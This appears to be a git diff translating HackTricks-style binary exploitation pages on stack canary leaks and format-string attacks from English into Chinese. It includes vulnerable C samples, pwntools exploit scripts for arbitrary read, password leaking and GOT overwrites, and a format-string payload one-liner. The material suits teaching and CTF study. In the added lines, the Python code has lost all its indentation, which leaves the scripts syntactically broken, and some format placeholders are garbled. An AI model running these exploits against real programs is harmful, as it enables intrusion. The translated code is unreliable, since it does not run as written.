-As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).\
-This attack is performed in the writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
+还可以查看[https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015)的演示,其中提到通常**TLS**是通过**`mmap`**存储的,当创建**线程**的**栈**时,它也是通过`mmap`生成的,这可能允许如前所述的溢出。
-Check also the presentation of [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) which mentions that usually the **TLS** is stored by **`mmap`** and when a **stack** of **thread** is created it's also generated by `mmap` according to this, which might allow the overflow as shown in the previous writeup.
-
-## Other examples & references
+## 其他示例与参考
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
- - 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there.
+- 64位,无PIE,nx,BF金丝雀,在某些内存中写入ROP以调用`execve`并跳转到那里。
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md
index e4d3eed44..f63fb30c7 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md
@@ -1,33 +1,33 @@
-# Print Stack Canary
+# 打印栈金丝雀
{{#include ../../../banners/hacktricks-training.md}}
-## Enlarge printed stack
+## 扩大打印的栈
-Imagine a situation where a **program vulnerable** to stack overflow can execute a **puts** function **pointing** to **part** of the **stack overflow**. The attacker knows that the **first byte of the canary is a null byte** (`\x00`) and the rest of the canary are **random** bytes. Then, the attacker may create an overflow that **overwrites the stack until just the first byte of the canary**.
+想象一个情况,一个**易受攻击的程序**可以执行一个**puts**函数,**指向****栈溢出**的**一部分**。攻击者知道**金丝雀的第一个字节是一个空字节**(`\x00`),其余的金丝雀是**随机**字节。然后,攻击者可以创建一个溢出,**覆盖栈直到金丝雀的第一个字节**。
-Then, the attacker **calls the puts functionalit**y on the middle of the payload which will **print all the canary** (except from the first null byte).
+然后,攻击者在有效负载的中间**调用puts功能**,这将**打印所有金丝雀**(除了第一个空字节)。
-With this info the attacker can **craft and send a new attack** knowing the canary (in the same program session).
+有了这些信息,攻击者可以**制作并发送一个新攻击**,知道金丝雀(在同一程序会话中)。
-Obviously, this tactic is very **restricted** as the attacker needs to be able to **print** the **content** of his **payload** to **exfiltrate** the **canary** and then be able to create a new payload (in the **same program session**) and **send** the **real buffer overflow**.
+显然,这种策略是非常**受限**的,因为攻击者需要能够**打印**其**有效负载**的**内容**以**提取**金丝雀,然后能够创建一个新有效负载(在**同一程序会话**中)并**发送****真实的缓冲区溢出**。
-**CTF examples:**
+**CTF示例:**
- [**https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html**](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- - 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')`
+- 64位,启用ASLR但没有PIE,第一步是填充溢出直到金丝雀的字节0x00,然后调用puts并泄露它。利用金丝雀创建一个ROP小工具来调用puts以泄露GOT中puts的地址,然后是一个ROP小工具来调用`system('/bin/sh')`
- [**https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html**](https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html)
- - 32 bit, ARM, no relro, canary, nx, no pie. Overflow with a call to puts on it to leak the canary + ret2lib calling `system` with a ROP chain to pop r0 (arg `/bin/sh`) and pc (address of system)
+- 32位,ARM,无relro,金丝雀,nx,无pie。通过调用puts来溢出以泄露金丝雀 + ret2lib调用`system`,使用ROP链弹出r0(参数`/bin/sh`)和pc(system的地址)
-## Arbitrary Read
+## 任意读取
-With an **arbitrary read** like the one provided by format **strings** it might be possible to leak the canary. Check this example: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) and you can read about abusing format strings to read arbitrary memory addresses in:
+通过**任意读取**,如格式**字符串**提供的,可能泄露金丝雀。查看这个例子:[**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries),你可以阅读关于滥用格式字符串以读取任意内存地址的内容:
{{#ref}}
../../format-strings/
{{#endref}}
- [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html)
- - This challenge abuses in a very simple way a format string to read the canary from the stack
+- 这个挑战以非常简单的方式滥用格式字符串从栈中读取金丝雀
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/common-exploiting-problems.md b/src/binary-exploitation/common-exploiting-problems.md
index 1aaf06372..56a5b6bc0 100644
--- a/src/binary-exploitation/common-exploiting-problems.md
+++ b/src/binary-exploitation/common-exploiting-problems.md
@@ -1,15 +1,14 @@
-# Common Exploiting Problems
+# 常见的利用问题
{{#include ../banners/hacktricks-training.md}}
-## FDs in Remote Exploitation
+## 远程利用中的FD
-When sending an exploit to a remote server that calls **`system('/bin/sh')`** for example, this will be executed in the server process ofc, and `/bin/sh` will expect input from stdin (FD: `0`) and will print the output in stdout and stderr (FDs `1` and `2`). So the attacker won't be able to interact with the shell.
+当向远程服务器发送一个利用,例如调用 **`system('/bin/sh')`**,这将在服务器进程中执行,并且 `/bin/sh` 将期望从 stdin (FD: `0`) 接收输入,并将输出打印到 stdout 和 stderr (FDs `1` 和 `2`)。因此,攻击者将无法与 shell 进行交互。
-A way to fix this is to suppose that when the server started it created the **FD number `3`** (for listening) and that then, your connection is going to be in the **FD number `4`**. Therefore, it's possible to use the syscall **`dup2`** to duplicate the stdin (FD 0) and the stdout (FD 1) in the FD 4 (the one of the connection of the attacker) so it'll make feasible to contact the shell once it's executed.
-
-[**Exploit example from here**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
+解决此问题的一种方法是假设服务器启动时创建了 **FD 编号 `3`**(用于监听),然后,您的连接将位于 **FD 编号 `4`**。因此,可以使用系统调用 **`dup2`** 将 stdin (FD 0) 和 stdout (FD 1) 复制到 FD 4(攻击者的连接)中,这样在执行后就可以与 shell 进行联系。
+[**从这里获取利用示例**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
```python
from pwn import *
@@ -26,13 +25,12 @@ p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
```
-
## Socat & pty
-Note that socat already transfers **`stdin`** and **`stdout`** to the socket. However, the `pty` mode **include DELETE characters**. So, if you send a `\x7f` ( `DELETE` -)it will **delete the previous character** of your exploit.
+注意,socat 已经将 **`stdin`** 和 **`stdout`** 转发到套接字。然而,`pty` 模式 **包含 DELETE 字符**。因此,如果你发送一个 `\x7f` ( `DELETE` -),它将 **删除你利用的前一个字符**。
-In order to bypass this the **escape character `\x16` must be prepended to any `\x7f` sent.**
+为了绕过这个问题,**必须在发送的任何 `\x7f` 前加上转义字符 `\x16`。**
-**Here you can** [**find an example of this behaviour**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**
+**在这里你可以** [**找到这个行为的示例**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**。**
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/format-strings/README.md b/src/binary-exploitation/format-strings/README.md
index 3d7bfa018..61d86eb71 100644
--- a/src/binary-exploitation/format-strings/README.md
+++ b/src/binary-exploitation/format-strings/README.md
@@ -2,22 +2,15 @@
{{#include ../../banners/hacktricks-training.md}}
-
+## 基本信息
-If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
+在 C 中,**`printf`** 是一个可以用来 **打印** 字符串的函数。该函数期望的 **第一个参数** 是 **带格式的原始文本**。后续的 **参数** 是 **替代** 原始文本中 **格式化符** 的 **值**。
-{% embed url="https://www.stmcyber.com/careers" %}
+其他易受攻击的函数包括 **`sprintf()`** 和 **`fprintf()`**。
-## Basic Information
-
-In C **`printf`** is a function that can be used to **print** some string. The **first parameter** this function expects is the **raw text with the formatters**. The **following parameters** expected are the **values** to **substitute** the **formatters** from the raw text.
-
-Other vulnerable functions are **`sprintf()`** and **`fprintf()`**.
-
-The vulnerability appears when an **attacker text is used as the first argument** to this function. The attacker will be able to craft a **special input abusing** the **printf format** string capabilities to read and **write any data in any address (readable/writable)**. Being able this way to **execute arbitrary code**.
-
-#### Formatters:
+当 **攻击者的文本作为第一个参数** 被用作此函数时,就会出现漏洞。攻击者将能够构造一个 **特殊输入,利用** **printf 格式** 字符串的能力来读取和 **写入任何地址(可读/可写)** 中的 **任何数据**。这样就能够 **执行任意代码**。
+#### 格式化符:
```bash
%08x —> 8 hex bytes
%d —> Entire
@@ -28,72 +21,58 @@ The vulnerability appears when an **attacker text is used as the first argument*
%hn —> Occupies 2 bytes instead of 4
$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
```
+**示例:**
-**Examples:**
-
-- Vulnerable example:
-
+- 漏洞示例:
```c
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
```
-
-- Normal Use:
-
+- 正常使用:
```c
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
```
-
-- With Missing Arguments:
-
+- 缺失参数:
```c
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
```
-
-- fprintf vulnerable:
-
+- fprintf 漏洞:
```c
#include
int main(int argc, char *argv[]) {
- char *user_input;
- user_input = argv[1];
- FILE *output_file = fopen("output.txt", "w");
- fprintf(output_file, user_input); // The user input can include formatters!
- fclose(output_file);
- return 0;
+char *user_input;
+user_input = argv[1];
+FILE *output_file = fopen("output.txt", "w");
+fprintf(output_file, user_input); // The user input can include formatters!
+fclose(output_file);
+return 0;
}
```
+### **访问指针**
-### **Accessing Pointers**
-
-The format **`%$x`**, where `n` is a number, allows to indicate to printf to select the n parameter (from the stack). So if you want to read the 4th param from the stack using printf you could do:
-
+格式 **`%$x`**,其中 `n` 是一个数字,允许指示 printf 选择第 n 个参数(来自栈)。因此,如果您想使用 printf 读取栈中的第 4 个参数,可以这样做:
```c
printf("%x %x %x %x")
```
+并且你会从第一个参数读取到第四个参数。
-and you would read from the first to the forth param.
-
-Or you could do:
-
+或者你可以这样做:
```c
printf("%4$x")
```
+并直接读取第四个。
-and read directly the forth.
-
-Notice that the attacker controls the `printf` **parameter, which basically means that** his input is going to be in the stack when `printf` is called, which means that he could write specific memory addresses in the stack.
+注意,攻击者控制着 `printf` **参数,这基本上意味着** 他的输入将在调用 `printf` 时位于栈中,这意味着他可以在栈中写入特定的内存地址。
> [!CAUTION]
-> An attacker controlling this input, will be able to **add arbitrary address in the stack and make `printf` access them**. In the next section it will be explained how to use this behaviour.
+> 控制此输入的攻击者将能够 **在栈中添加任意地址并使 `printf` 访问它们**。下一节将解释如何利用这种行为。
-## **Arbitrary Read**
-
-It's possible to use the formatter **`%n$s`** to make **`printf`** get the **address** situated in the **n position**, following it and **print it as if it was a string** (print until a 0x00 is found). So if the base address of the binary is **`0x8048000`**, and we know that the user input starts in the 4th position in the stack, it's possible to print the starting of the binary with:
+## **任意读取**
+可以使用格式化器 **`%n$s`** 使 **`printf`** 获取位于 **n 位置** 的 **地址**,并 **将其打印为字符串**(打印直到找到 0x00)。因此,如果二进制文件的基地址是 **`0x8048000`**,并且我们知道用户输入从栈中的第四个位置开始,则可以使用以下方式打印二进制文件的开头:
```python
from pwn import *
@@ -106,18 +85,16 @@ payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
```
-
> [!CAUTION]
-> Note that you cannot put the address 0x8048000 at the beginning of the input because the string will be cat in 0x00 at the end of that address.
+> 注意,您不能将地址 0x8048000 放在输入的开头,因为字符串将在该地址的末尾以 0x00 结束。
-### Find offset
+### 查找偏移量
-To find the offset to your input you could send 4 or 8 bytes (`0x41414141`) followed by **`%1$x`** and **increase** the value till retrieve the `A's`.
+要找到输入的偏移量,您可以发送 4 或 8 字节(`0x41414141`),后跟 **`%1$x`** 并 **增加** 值,直到检索到 `A's`。
-Brute Force printf offset
-
+暴力破解 printf 偏移量
```python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
@@ -125,88 +102,82 @@ from pwn import *
# Iterate over a range of integers
for i in range(10):
- # Construct a payload that includes the current integer as offset
- payload = f"AAAA%{i}$x".encode()
+# Construct a payload that includes the current integer as offset
+payload = f"AAAA%{i}$x".encode()
- # Start a new process of the "chall" binary
- p = process("./chall")
+# Start a new process of the "chall" binary
+p = process("./chall")
- # Send the payload to the process
- p.sendline(payload)
+# Send the payload to the process
+p.sendline(payload)
- # Read and store the output of the process
- output = p.clean()
+# Read and store the output of the process
+output = p.clean()
- # Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
- if b"41414141" in output:
- # If the string is found, log the success message and break out of the loop
- log.success(f"User input is at offset : {i}")
- break
+# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
+if b"41414141" in output:
+# If the string is found, log the success message and break out of the loop
+log.success(f"User input is at offset : {i}")
+break
- # Close the process
- p.close()
+# Close the process
+p.close()
```
-
-### How useful
+### 有多有用
-Arbitrary reads can be useful to:
+任意读取可以用于:
-- **Dump** the **binary** from memory
-- **Access specific parts of memory where sensitive** **info** is stored (like canaries, encryption keys or custom passwords like in this [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
+- **从内存中转储** **二进制文件**
+- **访问存储敏感** **信息** 的内存特定部分(如金丝雀、加密密钥或自定义密码,如在这个 [**CTF 挑战**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value) 中)
-## **Arbitrary Write**
+## **任意写入**
-The formatter **`%$n`** **writes** the **number of written bytes** in the **indicated address** in the \ param in the stack. If an attacker can write as many char as he will with printf, he is going to be able to make **`%$n`** write an arbitrary number in an arbitrary address.
-
-Fortunately, to write the number 9999, it's not needed to add 9999 "A"s to the input, in order to so so it's possible to use the formatter **`%.%$n`** to write the number **``** in the **address pointed by the `num` position**.
+格式化器 **`%$n`** **在** \ 参数指定的地址中 **写入** **写入的字节数**。如果攻击者可以使用 printf 写入任意数量的字符,他将能够使 **`%$n`** 在任意地址写入任意数字。
+幸运的是,写入数字 9999 时,不需要在输入中添加 9999 个 "A",为了做到这一点,可以使用格式化器 **`%.%$n`** 在 **`num` 位置指向的地址中写入数字 **``**。
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
+然而,请注意,通常为了写入像 `0x08049724` 这样的地址(这是一个一次性写入的巨大数字),**使用的是 `$hn`** 而不是 `$n`。这允许**只写入 2 字节**。因此,这个操作会进行两次,一次用于地址的最高 2B,另一次用于最低的。
-However, note that usually in order to write an address such as `0x08049724` (which is a HUGE number to write at once), **it's used `$hn`** instead of `$n`. This allows to **only write 2 Bytes**. Therefore this operation is done twice, one for the highest 2B of the address and another time for the lowest ones.
+因此,这个漏洞允许**在任何地址写入任何内容(任意写入)。**
-Therefore, this vulnerability allows to **write anything in any address (arbitrary write).**
-
-In this example, the goal is going to be to **overwrite** the **address** of a **function** in the **GOT** table that is going to be called later. Although this could abuse other arbitrary write to exec techniques:
+在这个例子中,目标是**覆盖**一个**函数**在**GOT** 表中的**地址**,该函数将在稍后被调用。尽管这可能会滥用其他任意写入到 exec 的技术:
{{#ref}}
../arbitrary-write-2-exec/
{{#endref}}
-We are going to **overwrite** a **function** that **receives** its **arguments** from the **user** and **point** it to the **`system`** **function**.\
-As mentioned, to write the address, usually 2 steps are needed: You **first writes 2Bytes** of the address and then the other 2. To do so **`$hn`** is used.
+我们将**覆盖**一个**接收**来自**用户**的**参数**的**函数**,并将其**指向** **`system`** **函数**。\
+如前所述,写入地址通常需要 2 个步骤:您**首先写入 2 字节**的地址,然后写入其他 2 字节。为此使用**`$hn`**。
-- **HOB** is called to the 2 higher bytes of the address
-- **LOB** is called to the 2 lower bytes of the address
+- **HOB** 被调用为地址的 2 个高字节
+- **LOB** 被调用为地址的 2 个低字节
-Then, because of how format string works you need to **write first the smallest** of \[HOB, LOB] and then the other one.
+然后,由于格式字符串的工作原理,您需要**首先写入较小的** \[HOB, LOB],然后写入另一个。
-If HOB < LOB\
+如果 HOB < LOB\
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
-If HOB > LOB\
+如果 HOB > LOB\
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
-
```bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
```
+### Pwntools 模板
-### Pwntools Template
-
-You can find a **template** to prepare a exploit for this kind of vulnerability in:
+您可以在以下位置找到用于准备此类漏洞的 **模板**:
{{#ref}}
format-strings-template.md
{{#endref}}
-Or this basic example from [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
-
+或者这个基本示例来自 [**这里**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
```python
from pwn import *
@@ -225,27 +196,20 @@ p.sendline('/bin/sh')
p.interactive()
```
+## 格式字符串到缓冲区溢出
-## Format Strings to BOF
+可以利用格式字符串漏洞的写入操作来**写入栈的地址**并利用**缓冲区溢出**类型的漏洞。
-It's possible to abuse the write actions of a format string vulnerability to **write in addresses of the stack** and exploit a **buffer overflow** type of vulnerability.
-
-## Other Examples & References
+## 其他示例与参考
- [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
- - 32 bit, no relro, no canary, nx, no pie, basic use of format strings to leak the flag from the stack (no need to alter the execution flow)
+- 32位,无relro,无canary,nx,无pie,基本使用格式字符串从栈中泄露标志(无需更改执行流程)
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- - 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win)
+- 32位,relro,无canary,nx,无pie,格式字符串覆盖地址`fflush`与win函数(ret2win)
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
- - 32 bit, relro, no canary, nx, no pie, format string to write an address inside main in `.fini_array` (so the flow loops back 1 more time) and write the address to `system` in the GOT table pointing to `strlen`. When the flow goes back to main, `strlen` is executed with user input and pointing to `system`, it will execute the passed commands.
-
-
-
-If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
-
-{% embed url="https://www.stmcyber.com/careers" %}
+- 32位,relro,无canary,nx,无pie,格式字符串在`.fini_array`中写入main内部的地址(使流程再循环一次)并将地址写入GOT表中的`system`指向`strlen`。当流程返回到main时,`strlen`将以用户输入执行并指向`system`,它将执行传递的命令。
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md b/src/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md
index 0665b14a1..4d40ba391 100644
--- a/src/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md
+++ b/src/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md
@@ -1,32 +1,27 @@
-# Format Strings - Arbitrary Read Example
+# 格式字符串 - 任意读取示例
{{#include ../../banners/hacktricks-training.md}}
-## Read Binary Start
-
-### Code
+## 读取二进制开始
+### 代码
```c
#include
int main(void) {
- char buffer[30];
+char buffer[30];
- fgets(buffer, sizeof(buffer), stdin);
+fgets(buffer, sizeof(buffer), stdin);
- printf(buffer);
- return 0;
+printf(buffer);
+return 0;
}
```
-
-Compile it with:
-
+用以下命令编译:
```python
clang -o fs-read fs-read.c -Wno-format-security -no-pie
```
-
-### Exploit
-
+### 利用
```python
from pwn import *
@@ -38,16 +33,14 @@ payload += p64(0x00400000)
p.sendline(payload)
log.info(p.clean())
```
-
-- The **offset is 11** because setting several As and **brute-forcing** with a loop offsets from 0 to 50 found that at offset 11 and with 5 extra chars (pipes `|` in our case), it's possible to control a full address.
- - I used **`%11$p`** with padding until I so that the address was all 0x4141414141414141
-- The **format string payload is BEFORE the address** because the **printf stops reading at a null byte**, so if we send the address and then the format string, the printf will never reach the format string as a null byte will be found before
-- The address selected is 0x00400000 because it's where the binary starts (no PIE)
+- **偏移量是 11**,因为设置多个 A 并且 **暴力破解**从 0 到 50 的循环发现,在偏移量 11 处,加上 5 个额外字符(在我们案例中是管道 `|`),可以控制一个完整的地址。
+- 我使用了 **`%11$p`**,并进行了填充,直到地址全部为 0x4141414141414141。
+- **格式字符串有效负载在地址之前**,因为 **printf 在遇到空字节时停止读取**,所以如果我们先发送地址再发送格式字符串,printf 将永远无法到达格式字符串,因为在此之前会找到一个空字节。
+- 选择的地址是 0x00400000,因为这是二进制文件的起始位置(没有 PIE)。
-## Read passwords
-
+## 读取密码
```c
#include
#include
@@ -55,111 +48,103 @@ log.info(p.clean())
char bss_password[20] = "hardcodedPassBSS"; // Password in BSS
int main() {
- char stack_password[20] = "secretStackPass"; // Password in stack
- char input1[20], input2[20];
+char stack_password[20] = "secretStackPass"; // Password in stack
+char input1[20], input2[20];
- printf("Enter first password: ");
- scanf("%19s", input1);
+printf("Enter first password: ");
+scanf("%19s", input1);
- printf("Enter second password: ");
- scanf("%19s", input2);
+printf("Enter second password: ");
+scanf("%19s", input2);
- // Vulnerable printf
- printf(input1);
- printf("\n");
+// Vulnerable printf
+printf(input1);
+printf("\n");
- // Check both passwords
- if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
- printf("Access Granted.\n");
- } else {
- printf("Access Denied.\n");
- }
+// Check both passwords
+if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
+printf("Access Granted.\n");
+} else {
+printf("Access Denied.\n");
+}
- return 0;
+return 0;
}
```
-
-Compile it with:
-
+用以下命令编译:
```bash
clang -o fs-read fs-read.c -Wno-format-security
```
+### 从栈中读取
-### Read from stack
-
-The **`stack_password`** will be stored in the stack because it's a local variable, so just abusing printf to show the content of the stack is enough. This is an exploit to BF the first 100 positions to leak the passwords form the stack:
-
+**`stack_password`** 将存储在栈中,因为它是一个局部变量,因此仅仅利用 printf 显示栈的内容就足够了。这是一个利用 BF 漏出栈中前 100 个位置的密码的漏洞:
```python
from pwn import *
for i in range(100):
- print(f"Try: {i}")
- payload = f"%{i}$s\na".encode()
- p = process("./fs-read")
- p.sendline(payload)
- output = p.clean()
- print(output)
- p.close()
+print(f"Try: {i}")
+payload = f"%{i}$s\na".encode()
+p = process("./fs-read")
+p.sendline(payload)
+output = p.clean()
+print(output)
+p.close()
```
-
-In the image it's possible to see that we can leak the password from the stack in the `10th` position:
+在图像中可以看到,我们可以从栈中泄露第 `10` 个位置的密码:
-### Read data
+### 读取数据
-Running the same exploit but with `%p` instead of `%s` it's possible to leak a heap address from the stack at `%25$p`. Moreover, comparing the leaked address (`0xaaaab7030894`) with the position of the password in memory in that process we can obtain the addresses difference:
+运行相同的漏洞利用,但使用 `%p` 而不是 `%s`,可以从栈中泄露一个堆地址,位于 `%25$p`。此外,将泄露的地址 (`0xaaaab7030894`) 与该进程中密码在内存中的位置进行比较,我们可以获得地址差:
-Now it's time to find how to control 1 address in the stack to access it from the second format string vulnerability:
-
+现在是时候找到如何控制栈中的一个地址,以便从第二个格式字符串漏洞访问它:
```python
from pwn import *
def leak_heap(p):
- p.sendlineafter(b"first password:", b"%5$p")
- p.recvline()
- response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
- return int(response, 16)
+p.sendlineafter(b"first password:", b"%5$p")
+p.recvline()
+response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
+return int(response, 16)
for i in range(30):
- p = process("./fs-read")
+p = process("./fs-read")
- heap_leak_addr = leak_heap(p)
- print(f"Leaked heap: {hex(heap_leak_addr)}")
+heap_leak_addr = leak_heap(p)
+print(f"Leaked heap: {hex(heap_leak_addr)}")
- password_addr = heap_leak_addr - 0x126a
+password_addr = heap_leak_addr - 0x126a
- print(f"Try: {i}")
- payload = f"%{i}$p|||".encode()
- payload += b"AAAAAAAA"
+print(f"Try: {i}")
+payload = f"%{i}$p|||".encode()
+payload += b"AAAAAAAA"
- p.sendline(payload)
- output = p.clean()
- print(output.decode("utf-8"))
- p.close()
+p.sendline(payload)
+output = p.clean()
+print(output.decode("utf-8"))
+p.close()
```
-
-And it's possible to see that in the **try 14** with the used passing we can control an address:
+可以看到在 **try 14** 中,使用的传递方式可以控制一个地址:
### Exploit
-
```python
from pwn import *
p = process("./fs-read")
def leak_heap(p):
- # At offset 25 there is a heap leak
- p.sendlineafter(b"first password:", b"%25$p")
- p.recvline()
- response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
- return int(response, 16)
+# At offset 25 there is a heap leak
+p.sendlineafter(b"first password:", b"%25$p")
+p.recvline()
+response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
+return int(response, 16)
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
@@ -178,7 +163,6 @@ output = p.clean()
print(output)
p.close()
```
-
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/format-strings/format-strings-template.md b/src/binary-exploitation/format-strings/format-strings-template.md
index 71e1d4624..983ed93ad 100644
--- a/src/binary-exploitation/format-strings/format-strings-template.md
+++ b/src/binary-exploitation/format-strings/format-strings-template.md
@@ -1,7 +1,6 @@
-# Format Strings Template
+# 格式字符串模板
{{#include ../../banners/hacktricks-training.md}}
-
```python
from pwn import *
from time import sleep
@@ -36,23 +35,23 @@ print(" ====================== ")
def connect_binary():
- global P, ELF_LOADED, ROP_LOADED
+global P, ELF_LOADED, ROP_LOADED
- if LOCAL:
- P = process(LOCAL_BIN) # start the vuln binary
- ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
- ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
+if LOCAL:
+P = process(LOCAL_BIN) # start the vuln binary
+ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
+ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
- elif REMOTETTCP:
- P = remote('10.10.10.10',1338) # start the vuln binary
- ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
- ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
+elif REMOTETTCP:
+P = remote('10.10.10.10',1338) # start the vuln binary
+ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
+ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
- elif REMOTESSH:
- ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
- P = ssh_shell.process(REMOTE_BIN) # start the vuln binary
- ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
- ROP_LOADED = ROP(elf)# Find ROP gadgets
+elif REMOTESSH:
+ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
+P = ssh_shell.process(REMOTE_BIN) # start the vuln binary
+ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
+ROP_LOADED = ROP(elf)# Find ROP gadgets
#######################################
@@ -60,39 +59,39 @@ def connect_binary():
#######################################
def send_payload(payload):
- payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD
- log.info("payload = %s" % repr(payload))
- if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED")
- P.sendline(payload)
- sleep(0.5)
- return P.recv()
+payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD
+log.info("payload = %s" % repr(payload))
+if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED")
+P.sendline(payload)
+sleep(0.5)
+return P.recv()
def get_formatstring_config():
- global P
+global P
- for offset in range(1,1000):
- connect_binary()
- P.clean()
+for offset in range(1,1000):
+connect_binary()
+P.clean()
- payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p"
- recieved = send_payload(payload).strip()
+payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p"
+recieved = send_payload(payload).strip()
- if b"41" in recieved:
- for padlen in range(0,4):
- if b"41414141" in recieved:
